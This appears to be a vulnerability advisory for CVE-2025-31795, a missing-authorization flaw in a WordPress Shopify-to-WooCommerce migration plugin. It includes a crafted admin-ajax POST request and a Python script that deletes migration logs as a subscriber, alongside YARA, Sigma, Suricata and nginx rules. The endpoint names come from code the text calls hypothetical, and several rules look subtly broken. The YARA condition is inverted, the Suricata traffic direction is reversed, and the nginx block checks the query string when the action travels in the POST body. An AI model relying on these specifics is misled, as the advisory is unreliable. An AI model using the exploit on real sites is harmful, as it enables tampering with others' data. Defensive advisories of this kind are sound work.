CVE-2025-31795

Executive Summary

CVE-2025-31795 is a Missing Authorization vulnerability in the Shopify to WooCommerce Migration plugin (slug: migrate-shopify-to-woocommerce) developed by Plugin Devs. This flaw affects all versions up to and including 1.3.0. The vulnerability allows an authenticated attacker with low privileges to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access, modification, or deletion of migration-related data. As a WordPress plugin, this issue resides entirely within the WordPress ecosystem and is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors embedding backdoors in unpatched installations.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. The vulnerability requires authentication but can be exploited by low-privileged users (e.g., subscribers). The impact is limited to migration data, but could be chained with other vulnerabilities for greater effect.

Deep Dive & Mechanics

The Shopify to WooCommerce Migration plugin provides functionality to import products, customers, and orders from Shopify to WooCommerce. The missing authorization vulnerability exists in the plugin's REST API endpoints or AJAX handlers that process migration data. Specifically, the plugin fails to properly verify user capabilities before allowing access to sensitive operations such as:

• Viewing migration logs
• Modifying migration settings
• Deleting migration records
• Triggering migration processes

The flaw is rooted in the use of wp_ajax_* hooks without proper current_user_can() checks, or in REST API routes that lack permission callbacks. An attacker with a subscriber-level account can send crafted requests to these endpoints and perform actions reserved for administrators.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common missing authorization patterns.

Vulnerable Code (example from class-migration-ajax.php):

add_action('wp_ajax_migrate_shopify_delete_log', 'handle_delete_log');
function handle_delete_log() {
    // No capability check
    $log_id = intval($_POST['log_id']);
    delete_post_meta($log_id, '_migration_log');
    wp_die();
}

Patched Code (hypothetical):

add_action('wp_ajax_migrate_shopify_delete_log', 'handle_delete_log');
function handle_delete_log() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $log_id = intval($_POST['log_id']);
    delete_post_meta($log_id, '_migration_log');
    wp_die();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with vulnerable plugin (<=1.3.0)
• Low-privileged user account (e.g., subscriber)

Exploitation Steps:

1. Log in as a subscriber.
2. Identify vulnerable AJAX actions by analyzing plugin source code or using a fuzzer.
3. Send a crafted POST request to wp-admin/admin-ajax.php:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_xxx=...

action=migrate_shopify_delete_log&log_id=123

4. Observe that the log is deleted without proper authorization.

Automated Exploit (Python):

import requests

target = "http://target-site.com"
session = requests.Session()
session.cookies.update({"wordpress_logged_in_xxx": "your_cookie"})

payload = {"action": "migrate_shopify_delete_log", "log_id": "123"}
response = session.post(f"{target}/wp-admin/admin-ajax.php", data=payload)
print(response.status_code)

Blue Team

Detection:

• Monitor AJAX requests to admin-ajax.php with suspicious action parameters.
• Look for low-privileged users accessing migration-related endpoints.
• Enable WordPress audit logging to track capability failures.

Honeypot:

• Deploy a fake migration log endpoint that logs all access attempts.
• Alert on any access by non-admin users.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/migrate-shopify-to-woocommerce/
• AJAX Actions: migrate_shopify_delete_log, migrate_shopify_view_logs, migrate_shopify_trigger_migration
• Log Entries: Repeated 403 errors from admin-ajax.php for low-privilege users
• Network: POST requests to /wp-admin/admin-ajax.php with action parameters containing migrate_shopify_

Detection Engineering

YARA Rule

rule CVE_2025_31795_Shopify_Migration_Missing_Auth {
    meta:
        description = "Detects vulnerable Shopify to WooCommerce Migration plugin files"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-31795"
    strings:
        $ajax_hook = /add_action\s*\(\s*['\"]wp_ajax_migrate_shopify_/
        $no_cap = /current_user_can\s*\(/
    condition:
        $ajax_hook and not $no_cap
}

Sigma Rule

title: CVE-2025-31795 - Missing Authorization in Shopify to WooCommerce Migration
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of missing authorization in the plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=migrate_shopify_'
            - 'log_id='
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-31795 - Shopify to WooCommerce Migration Missing Authorization Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=migrate_shopify_"; http_client_body;
    content:"log_id="; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove all low-privileged user accounts that are not essential.
3. Implement a Web Application Firewall (WAF) rule to block suspicious AJAX requests:

location /wp-admin/admin-ajax.php {
    if ($args ~* "action=migrate_shopify_") {
        return 403;
    }
}

Long-term Fix:

• The vendor must add proper capability checks using current_user_can('manage_options') or wp_verify_nonce() to all AJAX and REST API endpoints.
• Apply the principle of least privilege to all plugin functionality.

Workaround:

• Use a security plugin like Wordfence to enforce role-based access control on AJAX actions.

Valters IT